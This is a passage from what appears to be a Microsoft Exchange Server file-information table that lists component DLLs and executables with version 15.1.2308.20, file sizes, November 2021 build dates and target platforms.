\nMicrosoft.exchange.cluster.replay.dll| 15.1.2308.20| 3,527,568| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.cluster.replicaseeder.dll| 15.1.2308.20| 108,432| 3-Nov-21| 18:39| x64 \nMicrosoft.exchange.cluster.replicavsswriter.dll| 15.1.2308.20| 288,632| 3-Nov-21| 20:16| x64 \nMicrosoft.exchange.cluster.shared.dll| 15.1.2308.20| 623,992| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.common.agentconfig.transport.dll| 15.1.2308.20| 86,392| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.componentconfig.transport.dll| 15.1.2308.20| 1,827,704| 3-Nov-21| 18:55| x86 \nMicrosoft.exchange.common.directory.adagentservicevariantconfig.dll| 15.1.2308.20| 31,608| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.directory.directoryvariantconfig.dll| 15.1.2308.20| 466,296| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.common.directory.domtvariantconfig.dll| 15.1.2308.20| 25,976| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.directory.ismemberofresolverconfig.dll| 15.1.2308.20| 38,288| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.directory.tenantrelocationvariantconfig.dll| 15.1.2308.20| 102,800| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.directory.topologyservicevariantconfig.dll| 15.1.2308.20| 48,520| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.diskmanagement.dll| 15.1.2308.20| 67,448| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.common.dll| 15.1.2308.20| 172,944| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.common.encryption.variantconfig.dll| 15.1.2308.20| 113,552| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.il.dll| 15.1.2308.20| 13,688| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.common.inference.dll| 15.1.2308.20| 130,424| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.optics.dll| 15.1.2308.20| 63,864| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.common.processmanagermsg.dll| 15.1.2308.20| 19,856| 3-Nov-21| 18:29| x64 \nMicrosoft.exchange.common.protocols.popimap.dll| 15.1.2308.20| 15,224| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.common.search.dll| 15.1.2308.20| 107,912| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.search.eventlog.dll| 15.1.2308.20| 17,808| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.common.smtp.dll| 15.1.2308.20| 51,576| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.suiteservices.suiteservicesvariantconfig.dll| 15.1.2308.20| 36,744| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.common.transport.azure.dll| 15.1.2308.20| 27,512| 3-Nov-21| 18:41| x86 \nMicrosoft.exchange.common.transport.monitoringconfig.dll| 15.1.2308.20| 1,042,312| 3-Nov-21| 18:56| x86 \nMicrosoft.exchange.commonmsg.dll| 15.1.2308.20| 29,072| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.compliance.auditlogpumper.messages.dll| 15.1.2308.20| 13,192| 3-Nov-21| 18:39| x64 \nMicrosoft.exchange.compliance.auditservice.core.dll| 15.1.2308.20| 181,136| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.compliance.auditservice.messages.dll| 15.1.2308.20| 30,088| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.compliance.common.dll| 15.1.2308.20| 22,392| 3-Nov-21| 19:33| x86 \nMicrosoft.exchange.compliance.crimsonevents.dll| 15.1.2308.20| 85,880| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.compliance.dll| 15.1.2308.20| 35,192| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.compliance.recordreview.dll| 15.1.2308.20| 37,232| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.compliance.supervision.dll| 15.1.2308.20| 50,552| 3-Nov-21| 20:18| x86 \nMicrosoft.exchange.compliance.taskcreator.dll| 15.1.2308.20| 33,160| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.compliance.taskdistributioncommon.dll| 15.1.2308.20| 1,100,176| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.compliance.taskdistributionfabric.dll| 15.1.2308.20| 206,728| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.compliance.taskplugins.dll| 15.1.2308.20| 210,832| 3-Nov-21| 20:34| x86 \nMicrosoft.exchange.compression.dll| 15.1.2308.20| 17,288| 3-Nov-21| 18:41| x86 \nMicrosoft.exchange.configuration.certificateauth.dll| 15.1.2308.20| 37,776| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.configuration.certificateauth.eventlog.dll| 15.1.2308.20| 14,200| 3-Nov-21| 18:23| x64 \nMicrosoft.exchange.configuration.core.dll| 15.1.2308.20| 150,416| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.configuration.core.eventlog.dll| 15.1.2308.20| 14,200| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.configuration.delegatedauth.dll| 15.1.2308.20| 53,112| 3-Nov-21| 19:59| x86 \nMicrosoft.exchange.configuration.delegatedauth.eventlog.dll| 15.1.2308.20| 15,760| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.configuration.diagnosticsmodules.dll| 15.1.2308.20| 23,416| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.configuration.diagnosticsmodules.eventlog.dll| 15.1.2308.20| 13,200| 3-Nov-21| 18:28| x64 \nMicrosoft.exchange.configuration.failfast.dll| 15.1.2308.20| 54,648| 3-Nov-21| 19:59| x86 \nMicrosoft.exchange.configuration.failfast.eventlog.dll| 15.1.2308.20| 13,688| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.configuration.objectmodel.dll| 15.1.2308.20| 1,846,648| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.configuration.objectmodel.eventlog.dll| 15.1.2308.20| 30,072| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.configuration.redirectionmodule.dll| 15.1.2308.20| 68,472| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.configuration.redirectionmodule.eventlog.dll| 15.1.2308.20| 15,232| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.dll| 15.1.2308.20| 21,392| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.eventlog.dll| 15.1.2308.20| 13,176| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.connectiondatacollector.dll| 15.1.2308.20| 26,000| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.connections.common.dll| 15.1.2308.20| 169,872| 3-Nov-21| 18:58| x86 \nMicrosoft.exchange.connections.eas.dll| 15.1.2308.20| 330,128| 3-Nov-21| 19:00| x86 \nMicrosoft.exchange.connections.imap.dll| 15.1.2308.20| 173,944| 3-Nov-21| 19:00| x86 \nMicrosoft.exchange.connections.pop.dll| 15.1.2308.20| 71,056| 3-Nov-21| 19:00| x86 \nMicrosoft.exchange.contentfilter.wrapper.exe| 15.1.2308.20| 203,664| 3-Nov-21| 18:29| x64 \nMicrosoft.exchange.context.client.dll| 15.1.2308.20| 27,016| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.context.configuration.dll| 15.1.2308.20| 51,600| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.context.core.dll| 15.1.2308.20| 51,064| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.context.datamodel.dll| 15.1.2308.20| 46,984| 3-Nov-21| 19:14| x86 \nMicrosoft.exchange.core.strings.dll| 15.1.2308.20| 1,092,472| 3-Nov-21| 18:41| x86 \nMicrosoft.exchange.core.timezone.dll| 15.1.2308.20| 57,232| 3-Nov-21| 18:30| x86 \nMicrosoft.exchange.data.applicationlogic.deep.dll| 15.1.2308.20| 326,520| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.data.applicationlogic.dll| 15.1.2308.20| 3,358,088| 3-Nov-21| 19:45| x86 \nMicrosoft.exchange.data.applicationlogic.eventlog.dll| 15.1.2308.20| 35,720| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.data.applicationlogic.monitoring.ifx.dll| 15.1.2308.20| 17,808| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.data.connectors.dll| 15.1.2308.20| 165,264| 3-Nov-21| 19:35| x86 \nMicrosoft.exchange.data.consumermailboxprovisioning.dll| 15.1.2308.20| 619,400| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.data.directory.dll| 15.1.2308.20| 7,786,376| 3-Nov-21| 19:19| x86 \nMicrosoft.exchange.data.directory.eventlog.dll| 15.1.2308.20| 80,272| 3-Nov-21| 18:30| x64 \nMicrosoft.exchange.data.dll| 15.1.2308.20| 1,963,384| 3-Nov-21| 19:14| x86 \nMicrosoft.exchange.data.groupmailboxaccesslayer.dll| 15.1.2308.20| 1,626,512| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.data.ha.dll| 15.1.2308.20| 364,424| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.imageanalysis.dll| 15.1.2308.20| 105,336| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.data.mailboxfeatures.dll| 15.1.2308.20| 15,752| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.data.mailboxloadbalance.dll| 15.1.2308.20| 224,632| 3-Nov-21| 19:35| x86 \nMicrosoft.exchange.data.mapi.dll| 15.1.2308.20| 186,768| 3-Nov-21| 19:35| x86 \nMicrosoft.exchange.data.metering.contracts.dll| 15.1.2308.20| 39,824| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.data.metering.dll| 15.1.2308.20| 119,160| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.data.msosyncxsd.dll| 15.1.2308.20| 968,056| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.data.notification.dll| 15.1.2308.20| 141,192| 3-Nov-21| 19:35| x86 \nMicrosoft.exchange.data.personaldataplatform.dll| 15.1.2308.20| 769,424| 3-Nov-21| 18:56| x86 \nMicrosoft.exchange.data.providers.dll| 15.1.2308.20| 139,640| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.data.provisioning.dll| 15.1.2308.20| 56,712| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.rightsmanagement.dll| 15.1.2308.20| 453,000| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.scheduledtimers.dll| 15.1.2308.20| 32,632| 3-Nov-21| 19:33| x86 \nMicrosoft.exchange.data.storage.clientstrings.dll| 15.1.2308.20| 256,392| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.data.storage.dll| 15.1.2308.20| #########| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.data.storage.eventlog.dll| 15.1.2308.20| 37,768| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.data.storageconfigurationresources.dll| 15.1.2308.20| 655,736| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.data.storeobjects.dll| 15.1.2308.20| 174,472| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.throttlingservice.client.dll| 15.1.2308.20| 36,216| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.throttlingservice.client.eventlog.dll| 15.1.2308.20| 14,224| 3-Nov-21| 18:30| x64 \nMicrosoft.exchange.data.throttlingservice.eventlog.dll| 15.1.2308.20| 14,216| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.datacenter.management.activemonitoring.recoveryservice.eventlog.dll| 15.1.2308.20| 14,712| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.datacenterstrings.dll| 15.1.2308.20| 72,568| 3-Nov-21| 20:50| x86 \nMicrosoft.exchange.delivery.eventlog.dll| 15.1.2308.20| 13,184| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.diagnostics.certificatelogger.dll| 15.1.2308.20| 22,904| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.diagnostics.dll| 15.1.2308.20| 1,813,384| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.diagnostics.dll.deploy| 15.1.2308.20| 1,813,384| 3-Nov-21| 18:36| Not applicable \nMicrosoft.exchange.diagnostics.performancelogger.dll| 15.1.2308.20| 23,944| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.diagnostics.service.common.dll| 15.1.2308.20| 546,704| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.diagnostics.service.eventlog.dll| 15.1.2308.20| 215,432| 3-Nov-21| 18:30| x64 \nMicrosoft.exchange.diagnostics.service.exchangejobs.dll| 15.1.2308.20| 193,392| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.diagnostics.service.exe| 15.1.2308.20| 146,312| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.diagnostics.service.fuseboxperfcounters.dll| 15.1.2308.20| 27,528| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.diagnosticsaggregation.eventlog.dll| 15.1.2308.20| 13,704| 3-Nov-21| 18:38| x64 \nMicrosoft.exchange.diagnosticsaggregationservicelet.dll| 15.1.2308.20| 49,544| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.directory.topologyservice.eventlog.dll| 15.1.2308.20| 28,048| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.directory.topologyservice.exe| 15.1.2308.20| 208,784| 3-Nov-21| 19:46| x86 \nMicrosoft.exchange.disklocker.events.dll| 15.1.2308.20| 88,976| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.disklocker.interop.dll| 15.1.2308.20| 32,632| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.drumtesting.calendarmigration.dll| 15.1.2308.20| 45,944| 3-Nov-21| 20:24| x86 \nMicrosoft.exchange.drumtesting.common.dll| 15.1.2308.20| 18,824| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.dxstore.dll| 15.1.2308.20| 468,856| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.dxstore.ha.events.dll| 15.1.2308.20| 206,200| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.dxstore.ha.instance.exe| 15.1.2308.20| 36,728| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.eac.flighting.dll| 15.1.2308.20| 131,448| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.edgecredentialsvc.exe| 15.1.2308.20| 21,880| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.edgesync.common.dll| 15.1.2308.20| 148,344| 3-Nov-21| 19:28| x86 \nMicrosoft.exchange.edgesync.datacenterproviders.dll| 15.1.2308.20| 220,040| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.edgesync.eventlog.dll| 15.1.2308.20| 23,928| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.edgesyncsvc.exe| 15.1.2308.20| 97,672| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.ediscovery.export.dll| 15.1.2308.20| 1,266,576| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.ediscovery.export.dll.deploy| 15.1.2308.20| 1,266,576| 3-Nov-21| 18:37| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.application| Not applicable| 16,522| 3-Nov-21| 18:41| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.exe.deploy| 15.1.2308.20| 87,416| 3-Nov-21| 18:37| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.manifest| Not applicable| 67,459| 3-Nov-21| 18:41| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.strings.dll.deploy| 15.1.2308.20| 52,104| 3-Nov-21| 18:30| Not applicable \nMicrosoft.exchange.ediscovery.mailboxsearch.dll| 15.1.2308.20| 294,264| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.entities.birthdaycalendar.dll| 15.1.2308.20| 73,088| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.entities.booking.defaultservicesettings.dll| 15.1.2308.20| 45,968| 3-Nov-21| 19:35| x86 \nMicrosoft.exchange.entities.booking.dll| 15.1.2308.20| 218,488| 3-Nov-21| 20:25| x86 \nMicrosoft.exchange.entities.booking.management.dll| 15.1.2308.20| 78,224| 3-Nov-21| 19:42| x86 \nMicrosoft.exchange.entities.bookings.dll| 15.1.2308.20| 35,728| 3-Nov-21| 19:43| x86 \nMicrosoft.exchange.entities.calendaring.dll| 15.1.2308.20| 932,216| 3-Nov-21| 20:18| x86 \nMicrosoft.exchange.entities.common.dll| 15.1.2308.20| 336,264| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.entities.connectors.dll| 15.1.2308.20| 52,624| 3-Nov-21| 19:42| x86 \nMicrosoft.exchange.entities.contentsubmissions.dll| 15.1.2308.20| 32,144| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.entities.context.dll| 15.1.2308.20| 60,816| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.entities.datamodel.dll| 15.1.2308.20| 854,416| 3-Nov-21| 19:35| x86 \nMicrosoft.exchange.entities.fileproviders.dll| 15.1.2308.20| 291,720| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.entities.foldersharing.dll| 15.1.2308.20| 39,288| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.entities.holidaycalendars.dll| 15.1.2308.20| 76,168| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.entities.insights.dll| 15.1.2308.20| 166,776| 3-Nov-21| 20:29| x86 \nMicrosoft.exchange.entities.meetinglocation.dll| 15.1.2308.20| 1,486,712| 3-Nov-21| 20:31| x86 \nMicrosoft.exchange.entities.meetingparticipants.dll| 15.1.2308.20| 122,232| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.entities.meetingtimecandidates.dll| 15.1.2308.20| #########| 3-Nov-21| 20:35| x86 \nMicrosoft.exchange.entities.onlinemeetings.dll| 15.1.2308.20| 264,056| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.entities.people.dll| 15.1.2308.20| 37,776| 3-Nov-21| 19:46| x86 \nMicrosoft.exchange.entities.peopleinsights.dll| 15.1.2308.20| 186,760| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.entities.reminders.dll| 15.1.2308.20| 64,376| 3-Nov-21| 20:28| x86 \nMicrosoft.exchange.entities.schedules.dll| 15.1.2308.20| 83,848| 3-Nov-21| 20:29| x86 \nMicrosoft.exchange.entities.shellservice.dll| 15.1.2308.20| 63,864| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.entities.tasks.dll| 15.1.2308.20| 100,216| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.entities.xrm.dll| 15.1.2308.20| 144,760| 3-Nov-21| 19:43| x86 \nMicrosoft.exchange.entityextraction.calendar.dll| 15.1.2308.20| 270,200| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.eserepl.common.dll| 15.1.2308.20| 15,224| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.eserepl.configuration.dll| 15.1.2308.20| 15,760| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.eserepl.dll| 15.1.2308.20| 131,976| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.ews.configuration.dll| 15.1.2308.20| 254,344| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.exchangecertificate.eventlog.dll| 15.1.2308.20| 13,176| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.exchangecertificateservicelet.dll| 15.1.2308.20| 37,256| 3-Nov-21| 20:48| x86 \nMicrosoft.exchange.extensibility.internal.dll| 15.1.2308.20| 640,888| 3-Nov-21| 19:14| x86 \nMicrosoft.exchange.extensibility.partner.dll| 15.1.2308.20| 37,240| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.federateddirectory.dll| 15.1.2308.20| 146,296| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.ffosynclogmsg.dll| 15.1.2308.20| 13,176| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.frontendhttpproxy.dll| 15.1.2308.20| 594,816| 3-Nov-21| 20:58| x86 \nMicrosoft.exchange.frontendhttpproxy.eventlogs.dll| 15.1.2308.20| 14,712| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.frontendtransport.monitoring.dll| 15.1.2308.20| 30,096| 3-Nov-21| 21:49| x86 \nMicrosoft.exchange.griffin.variantconfiguration.dll| 15.1.2308.20| 99,728| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.hathirdpartyreplication.dll| 15.1.2308.20| 42,360| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.helpprovider.dll| 15.1.2308.20| 40,312| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.httpproxy.addressfinder.dll| 15.1.2308.20| 54,136| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.httpproxy.common.dll| 15.1.2308.20| 163,704| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.httpproxy.diagnostics.dll| 15.1.2308.20| 58,744| 3-Nov-21| 20:12| x86 \nMicrosoft.exchange.httpproxy.flighting.dll| 15.1.2308.20| 204,680| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.httpproxy.passivemonitor.dll| 15.1.2308.20| 17,800| 3-Nov-21| 19:14| x86 \nMicrosoft.exchange.httpproxy.proxyassistant.dll| 15.1.2308.20| 30,600| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.httpproxy.routerefresher.dll| 15.1.2308.20| 38,776| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.httpproxy.routeselector.dll| 15.1.2308.20| 48,520| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.httpproxy.routing.dll| 15.1.2308.20| 180,624| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.httpredirectmodules.dll| 15.1.2308.20| 36,752| 3-Nov-21| 20:58| x86 \nMicrosoft.exchange.httprequestfiltering.dll| 15.1.2308.20| 28,040| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.httputilities.dll| 15.1.2308.20| 25,992| 3-Nov-21| 20:13| x86 \nMicrosoft.exchange.hygiene.data.dll| 15.1.2308.20| 1,868,176| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.hygiene.diagnosisutil.dll| 15.1.2308.20| 54,648| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.hygiene.eopinstantprovisioning.dll| 15.1.2308.20| 35,728| 3-Nov-21| 20:51| x86 \nMicrosoft.exchange.idserialization.dll| 15.1.2308.20| 35,704| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.imap4.eventlog.dll| 15.1.2308.20| 18,296| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.imap4.eventlog.dll.fe| 15.1.2308.20| 18,296| 3-Nov-21| 18:37| Not applicable \nMicrosoft.exchange.imap4.exe| 15.1.2308.20| 263,032| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.imap4.exe.fe| 15.1.2308.20| 263,032| 3-Nov-21| 19:56| Not applicable \nMicrosoft.exchange.imap4service.exe| 15.1.2308.20| 24,952| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.imap4service.exe.fe| 15.1.2308.20| 24,952| 3-Nov-21| 19:52| Not applicable \nMicrosoft.exchange.imapconfiguration.dl1| 15.1.2308.20| 53,136| 3-Nov-21| 18:52| Not applicable \nMicrosoft.exchange.inference.common.dll| 15.1.2308.20| 216,952| 3-Nov-21| 19:33| x86 \nMicrosoft.exchange.inference.hashtagsrelevance.dll| 15.1.2308.20| 32,120| 3-Nov-21| 20:31| x64 \nMicrosoft.exchange.inference.peoplerelevance.dll| 15.1.2308.20| 281,992| 3-Nov-21| 20:29| x86 \nMicrosoft.exchange.inference.ranking.dll| 15.1.2308.20| 18,824| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.inference.safetylibrary.dll| 15.1.2308.20| 83,840| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.inference.service.eventlog.dll| 15.1.2308.20| 15,224| 3-Nov-21| 18:28| x64 \nMicrosoft.exchange.infoworker.assistantsclientresources.dll| 15.1.2308.20| 94,096| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.infoworker.common.dll| 15.1.2308.20| 1,842,040| 3-Nov-21| 20:12| x86 \nMicrosoft.exchange.infoworker.eventlog.dll| 15.1.2308.20| 71,544| 3-Nov-21| 18:28| x64 \nMicrosoft.exchange.infoworker.meetingvalidator.dll| 15.1.2308.20| 175,504| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.instantmessaging.dll| 15.1.2308.20| 45,944| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.irm.formprotector.dll| 15.1.2308.20| 159,608| 3-Nov-21| 18:39| x64 \nMicrosoft.exchange.irm.msoprotector.dll| 15.1.2308.20| 51,072| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.irm.ofcprotector.dll| 15.1.2308.20| 45,944| 3-Nov-21| 18:36| x64 \nMicrosoft.exchange.isam.databasemanager.dll| 15.1.2308.20| 30,600| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.isam.esebcli.dll| 15.1.2308.20| 100,240| 3-Nov-21| 18:30| x64 \nMicrosoft.exchange.jobqueue.eventlog.dll| 15.1.2308.20| 13,176| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.jobqueueservicelet.dll| 15.1.2308.20| 271,224| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.killswitch.dll| 15.1.2308.20| 22,416| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.killswitchconfiguration.dll| 15.1.2308.20| 33,680| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.loganalyzer.analyzers.auditing.dll| 15.1.2308.20| 18,312| 3-Nov-21| 18:30| x86 \nMicrosoft.exchange.loganalyzer.analyzers.certificatelog.dll| 15.1.2308.20| 15,248| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.analyzers.cmdletinfralog.dll| 15.1.2308.20| 27,528| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.loganalyzer.analyzers.easlog.dll| 15.1.2308.20| 30,608| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ecplog.dll| 15.1.2308.20| 22,408| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.loganalyzer.analyzers.eventlog.dll| 15.1.2308.20| 66,440| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ewslog.dll| 15.1.2308.20| 29,584| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.loganalyzer.analyzers.griffinperfcounter.dll| 15.1.2308.20| 19,856| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.groupescalationlog.dll| 15.1.2308.20| 20,368| 3-Nov-21| 18:30| x86 \nMicrosoft.exchange.loganalyzer.analyzers.httpproxylog.dll| 15.1.2308.20| 19,344| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.hxservicelog.dll| 15.1.2308.20| 34,192| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.iislog.dll| 15.1.2308.20| 103,800| 3-Nov-21| 18:29| x86 \nMicrosoft.exchange.loganalyzer.analyzers.lameventlog.dll| 15.1.2308.20| 31,624| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.migrationlog.dll| 15.1.2308.20| 15,760| 3-Nov-21| 18:30| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oabdownloadlog.dll| 15.1.2308.20| 20,880| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oauthcafelog.dll| 15.1.2308.20| 16,248| 3-Nov-21| 18:38| x86 \nMicrosoft.exchange.loganalyzer.analyzers.outlookservicelog.dll| 15.1.2308.20| 49,040| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owaclientlog.dll| 15.1.2308.20| 44,416| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owalog.dll| 15.1.2308.20| 38,288| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.loganalyzer.analyzers.perflog.dll| 15.1.2308.20| #########| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.pfassistantlog.dll| 15.1.2308.20| 29,064| 3-Nov-21| 18:30| x86 \nMicrosoft.exchange.loganalyzer.analyzers.rca.dll| 15.1.2308.20| 21,384| 3-Nov-21| 18:30| x86 \nMicrosoft.exchange.loganalyzer.analyzers.restlog.dll| 15.1.2308.20| 24,464| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.store.dll| 15.1.2308.20| 15,240| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.analyzers.transportsynchealthlog.dll| 15.1.2308.20| 21,904| 3-Nov-21| 18:29| x86 \nMicrosoft.exchange.loganalyzer.core.dll| 15.1.2308.20| 89,464| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.loganalyzer.extensions.auditing.dll| 15.1.2308.20| 20,856| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.certificatelog.dll| 15.1.2308.20| 26,488| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.cmdletinfralog.dll| 15.1.2308.20| 21,368| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.common.dll| 15.1.2308.20| 28,048| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.loganalyzer.extensions.easlog.dll| 15.1.2308.20| 28,552| 3-Nov-21| 18:29| x86 \nMicrosoft.exchange.loganalyzer.extensions.errordetection.dll| 15.1.2308.20| 36,240| 